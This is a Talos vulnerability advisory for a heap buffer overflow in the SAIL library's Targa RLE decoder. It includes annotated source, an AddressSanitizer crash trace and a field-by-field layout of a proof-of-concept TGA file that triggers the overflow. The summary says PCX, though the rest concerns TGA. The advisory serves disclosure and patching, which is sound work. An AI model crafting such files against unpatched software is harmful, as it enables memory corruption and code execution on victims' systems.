Talos Vulnerability Report

TALOS-2025-2220

SAIL Image Decoding Library Targa RLE Decoding heap-based buffer overflow vulnerability

August 25, 2025
CVE Number

CVE-2025-50129

SUMMARY

A memory corruption vulnerability exists in the PCX Image Decoding functionality of the SAIL Image Decoding Library v0.9.8. When decoding the image data from a specially crafted .tga file, a heap-based buffer overflow can occur which allows for remote code execution. An attacker will need to convince the library to read a file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SAIL Image Decoding Library v0.9.8
221db576ce1263ab92bd882f344b68b8eec16cad (master)

PRODUCT URLS

SAIL Image Decoding Library - https://sail.software/

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-122 - Heap-based Buffer Overflow

DETAILS

SAIL is a format-agnostic image decoding library supporting all popular image formats. Being one of the fastest among competitors, it provides simple yet powerful C/C++ API for end-users. SAIL works on Windows, macOS, and Linux platforms.

The following function, sail_codec_load_init_v8_tga, is used when loading a TGA image file. This function will first seek to the end of the image file in order to read the footer at [1]. Once the footer has been read, its signature will then be checked at [2] prior to reading the header of the file.

sail/src/sail-codecs/tga/tga.c:91-108
SAIL_EXPORT sail_status_t sail_codec_load_init_v8_tga(struct sail_io *io, const struct sail_load_options *load_options, void **state) {

    *state = NULL;

    /* Allocate a new state. */
    struct tga_state *tga_state;
    SAIL_TRY(alloc_tga_state(io, load_options, NULL, &tga_state));
    *state = tga_state;

    /* Read TGA footer. */
    SAIL_TRY(tga_state->io->seek(tga_state->io->stream, -TGA_FOOTER_SIZE, SEEK_END));
    SAIL_TRY(tga_private_read_file_footer(io, &tga_state->footer));                             // [1] read targa footer from file
    SAIL_TRY(tga_state->io->seek(tga_state->io->stream, 0, SEEK_SET));

    tga_state->tga2 = strcmp(TGA_SIGNATURE, (const char *)tga_state->footer.signature) == 0;    // [2] verify the signature

    return SAIL_OK;
}

After verifying the signature, the following function will be used to read header data from the image. At [3], the sail_codec_load_seek_next_frame_v8_tga function will read the entire image header from the file. The “file_header.image_type” and “file_header.bpp” fields from the header will then be used at [4] to determine the pixel format for the image data to decode. Once the pixel format has been read, the image type will be checked at [5] in order to determine if the image data is run-length encoded. After determining that the image data is run-length encoded, the image dimensions will then be assigned at [6]. Afterwards, these dimensions will be used to allocate a buffer that will be used to decode image data into.

sail/src/sail-codecs/tga/tga.c:110-193
SAIL_EXPORT sail_status_t sail_codec_load_seek_next_frame_v8_tga(void *state, struct sail_image **image) {

...
    SAIL_TRY(tga_private_read_file_header(tga_state->io, &tga_state->file_header));                                                     // [3] read the image header

    tga_state->flipped_h = tga_state->file_header.descriptor & 0x10;        /* 4th bit set = flipped H.   */
    tga_state->flipped_v = (tga_state->file_header.descriptor & 0x20) == 0; /* 5th bit unset = flipped V. */

    enum SailPixelFormat pixel_format = tga_private_sail_pixel_format(tga_state->file_header.image_type, tga_state->file_header.bpp);   // [4] determine the pixel format
...
    if (tga_state->load_options->options & SAIL_OPTION_SOURCE_IMAGE) {
        SAIL_TRY_OR_CLEANUP(sail_alloc_source_image(&image_local->source_image),
                            /* cleanup */ sail_destroy_image(image_local));
...

        switch (tga_state->file_header.image_type) {                                                                                    // [5] check the image type
            case TGA_INDEXED_RLE:
            case TGA_TRUE_COLOR_RLE:
            case TGA_GRAY_RLE: {
                image_local->source_image->compression = SAIL_COMPRESSION_RLE;                                                          // [5] assign the RLE compression type
                break;
            }
            default: {
                image_local->source_image->compression = SAIL_COMPRESSION_NONE;
            }
        }
    }

    image_local->width          = tga_state->file_header.width;                                                                         // [6] assign image dimensions
    image_local->height         = tga_state->file_header.height;
    image_local->pixel_format   = pixel_format;
    image_local->bytes_per_line = sail_bytes_per_line(image_local->width, image_local->pixel_format);
...
    return SAIL_OK;
}

In order to decode the image data, the following sail_codec_load_frame_v8_tga function will be used. At [7], the implementation will check the header type in order to verify if the data should be run-length decoded. After confirming that it is, at [8] the number of pixels to loop through is calculated by multiplying the image width and height. Once the number of pixels to decode has been calculated, a loop that iterates over each run-length encoded packet is entered at [9]. When decoding a run-length encoded packet, the first byte will be read in order to determine the packet type and its count. From the first byte, the number of pixels to fill is extracted at [10] from the bottom 7-bits, followed by checking the high-bit at [11] to ensure that the data is run-length encoded. Finally at [12], a loop will be entered to fill the previously allocated image data buffer with the color and count from the run-length encoded packet. Due to this loop not accommodating for the size of the heap buffer that was allocated from the image dimensions, the decoding loop can overflow the heap buffer causing memory corruption which can lead to code execution under the context of the library.

sail/src/sail-codecs/tga/tga.c:195-250
SAIL_EXPORT sail_status_t sail_codec_load_frame_v8_tga(void *state, struct sail_image *image) {

    struct tga_state *tga_state = state;

    switch (tga_state->file_header.image_type) {                                // [7] check image type
...
        case TGA_INDEXED_RLE:
        case TGA_TRUE_COLOR_RLE:
        case TGA_GRAY_RLE: {
            const unsigned pixel_size = (tga_state->file_header.bpp + 7) / 8;
            const unsigned pixels_num = image->width * image->height;           // [8] calculate number of pixels

            unsigned char *pixels = image->pixels;

            for (unsigned i = 0; i < pixels_num;) {                             // [9] loop through number of pixels
                unsigned char marker;
                SAIL_TRY(tga_state->io->strict_read(tga_state->io->stream, &marker, 1));

                unsigned count = (marker & 0x7F) + 1;                           // [10] extract count from RLE packet

                /* 7th bit set = RLE packet. */
                if (marker & 0x80) {                                            // [11] check if packet is an RLE type
                    unsigned char pixel[4];

                    SAIL_TRY(tga_state->io->strict_read(tga_state->io->stream, pixel, pixel_size));

                    for (unsigned j = 0; j < count; j++, i++) {                 // [12] loop count times
                        memcpy(pixels, pixel, pixel_size);                      // [12] write pixel out of bounds
                        pixels += pixel_size;
                    }
...
                }
            }
            break;
        }
    }
...
    return SAIL_OK;
}

Crash Information

$ sail decode poc.tga
File          : poc.tga
Codec         : TGA [Truevision TGA]
Codec version : 0.7.2
=================================================================
==161825==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5901d74 at pc 0x080e8d39 bp 0xff9d1208 sp 0xff9d0de0
WRITE of size 4 at 0xf5901d74 thread T0
    #0 0x080e8d38 in __asan_memcpy (/path/to/sail/sail+0x80e8d38) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
    #1 0x081604f8 in sail_codec_load_frame_v8_tga /path/to/sail/sail/src/sail-codecs/tga/tga.c:227:25
    #2 0x0814116e in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:119:5
    #3 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
    #4 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
    #5 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
    #6 0xf7c4e0e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
    #7 0xf7c4e1b7 in __libc_start_main@GLIBC_2.0 (/lib/libc.so.6+0x31b7) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
    #8 0x08048a57 in _start (/path/to/sail/sail+0x8048a57) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)

0xf5901d74 is located 0 bytes after 4-byte region [0xf5901d70,0xf5901d74)
allocated by thread T0 here:
    #0 0x080eaf46 in malloc (/path/to/sail/sail+0x80eaf46) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
    #1 0x08178131 in sail_malloc /path/to/sail/sail/src/sail-common/memory.c:34:23
    #2 0x081410f6 in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:116:5
    #3 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
    #4 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
    #5 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
    #6 0xf7c4e0e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/path/to/sail/sail+0x80e8d38) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9) in __asan_memcpy
Shadow bytes around the buggy address:
  0xf5901a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5901b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5901b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5901c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5901c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0xf5901d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa
  0xf5901d80: fa fa 00 fa fa fa 00 04 fa fa 00 fa fa fa fd fa
  0xf5901e00: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
  0xf5901e80: fa fa 00 04 fa fa 00 fa fa fa 00 00 fa fa 00 fa
  0xf5901f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5901f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==161825==ABORTING

Exploit Proof of Concept

$ python -i poc.py3.zip poc.tga

The image generated by the proof-of-concept has the following format. In this format, the “ImageTypeCode” field, the “ImageSpecification” field, and the “ImageData” fields are relevant. To trigger this vulnerability, the “ImageTypeCode” field must be set to RLE-Indexed(9), RLE-RGB(10), or RLE-BW(11).

>>> tga
<class targa.File> 'unnamed_7f9050fa2570' {unnamed=True}
[0] <instance targa.u1 'IdentificationLength'> 0x00 (0)
[1] <instance targa.ColorMapType 'ColorMapType'> None(0x0)
[2] <instance targa.ImageTypeCode 'ImageTypeCode'> RLE-RGB(0xa)
[3] <instance targa.ColorMapSpecification 'ColorMapSpecification'> "\x00\x00\x00\x00\x03"
[8] <instance targa.ImageSpecification 'ImageSpecification'> "\x00\x00\x00\x00\x01\x00\x01\x00\x20\x00"
[12] <instance ptype.block 'ImageIdentification'> ...
[12] <instance c(targa.ColorMapData) 'ColorMapData'> targa.ColorMapEntry3[0] ""
[12] <instance parray.type 'ImageData'> targa.ImageDataPacket[16] "\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00"
[62] <instance ptype.block 'DeveloperFields'> ...
[62] <instance ptype.block 'DeveloperDirectory'> ...
[62] <instance ptype.block 'ExtensionSize'> ...
[62] <instance ptype.block 'ScanLineTable'> ...
[62] <instance ptype.block 'PostageStampImage'> ...
[62] <instance ptype.block 'ColorCorrectionTable'> ...
[62] <instance targa.Footer 'Footer'> "\x00\x00\x00\x00\x00\x00\x00\x00\x54\x52\x55\x45\x56\x49\x53\x49\x4f\x4e\x2d\x58\x46\x49\x4c\x45\x2e\x00"

The following is a description of the “ImageSpecification” field. This field contains the iamge dimensions and the number of bits per pixel. The buffer being allocated is controlled by taking the product of the number of bytes from “ImagePixelSize”, the “Width” field, and the “Height” field. The “ImagePixelSize” field specifies the number of bits, which requires dividing by 8 in order to determine the number of bytes. Both the “Width” and “Height” fields are set to 1, which when multiplied by the number of bytes per pixel (4), will result in allocating space for a single pixel.

>>> tga['ImageSpecification']
<class targa.ImageSpecification> 'ImageSpecification'
[8] <instance targa.u2 'XOrigin'> 0x0000 (0)
[a] <instance targa.u2 'YOrigin'> 0x0000 (0)
[c] <instance targa.u2 'Width'> 0x0001 (1)
[e] <instance targa.u2 'Height'> 0x0001 (1)
[10] <instance targa.u1 'ImagePixelSize'> 0x20 (32)
[11] <instance c(pb(targa.ImageSpecification._ImageDescriptorByte)) 'ImageDescriptorByte'> {bits=8,partial=True} (0x00,8) :> InterleavingFlag=non-interleaved(0x0,2) Mirroring=(0x0,2) AttributeCount=(0x0,4)

After reading the header, the library will decode the run-length encoded image data found at offset 0x12 of the generated image. The following description shows the layout of a single run-length encoded packet. The first byte of a run-length encoded packet contains the number of pixels that will be filled, followed by the data containing the color used for filling. The type of this data is determined by the “ImagePixelSize” field from the “ImageSpecification”.

>>> tga['ImageData'][0]
<class targa.ImageDataPacket> '0'
[12] <instance c(pb(targa.ImageDataPacket._RepetitionCount)) 'RepetitionCount'> {bits=8,partial=True} (0xff,8) :> RLE Count=127
[13] <instance targa.ColorMapEntry4 'Entry'> "\x00\x00\x00\x00"

The “RepetitionCount” byte from the run-length encoded packet has the following structure. The first bit specifies whether the packet is run-length encoded and must be set to 1 in order for the library to run-length decode the data. The following 7-bits specifies the number of pixels that will be filled. If any of the run-length encoded packets in the image data specify a “Count” that overflows the size of the allocated buffer determined by the product of the “ImagePixelSize”, “Width”, and “Height” fields, then this vulnerability is being triggered.

>>> tga['ImageData'][0]['RepetitionCount']
<class c(pb(targa.ImageDataPacket._RepetitionCount))> 'RepetitionCount' {bits=8,partial=True}
[12.0] <instance c(pbinary.integer) 'RLE'> (0x1,1)
[12.2] <instance c(pbinary.integer) 'Count'> (0x7f,7)
TIMELINE

2025-07-29 - Initial Vendor Contact
2025-07-29 - Vendor Disclosure
2025-07-30 - Vendor Patch Release
2025-08-25 - Public Release

Credit

Discovered by a member of Cisco Talos.